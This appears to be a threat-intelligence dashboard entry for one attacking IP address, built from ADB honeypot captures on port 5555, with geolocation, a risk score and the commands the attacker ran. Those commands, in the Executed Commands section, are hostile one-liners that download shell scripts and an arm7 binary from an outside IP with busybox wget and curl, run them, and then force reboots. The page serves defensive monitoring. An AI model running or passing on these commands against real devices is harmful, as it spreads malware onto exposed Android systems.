Active Threat โ€ข MEDIUM

94.26.106.147

First Detection1/23/2026
Last Activity1/26/2026
ISPdataforest GmbH
๐ŸŽฏ
184
Total Attacks
๐Ÿ”Œ
1
Ports
๐Ÿ“ก
1
Attack Types
๐Ÿฆ 
0
Malware

Geolocation

Country
๐Ÿ‡ฉ๐Ÿ‡ช Germany
City
Kriftel
ASN
AS215607
ISP
dataforest GmbH

Attack Types

adbhoney

Attacked Ports

5555

Associated Malware

No associated malware

Executed Commands

$cd /data/local/tmp/; busybox wget http://130.12.180.20:36695/cat.sh -O cat.sh; sh cat.sh; busybox curl http://130.12.180.20:36695/c.sh -o c.sh; sh c.sh; busybox wget http://130.12.180.20:36695/tftp.sh -O tftp.sh; sh tftp.sh43x
$cd /data/local/tmp/; rm -rf arm7; busybox wget http://130.12.180.20:36695/arm7 -O arm7; chmod 777 arm7; ./arm7; busybox curl http://130.12.180.20:36695/arm7 -o arm7; chmod 777 arm7; ./arm715x
$reboot -f1x
$su -c reboot1x
$reboot1x
$su -c 'reboot -f'1x
$su -c 'reboot'1x

Risk Assessment

42
/100
LowMediumHighCritical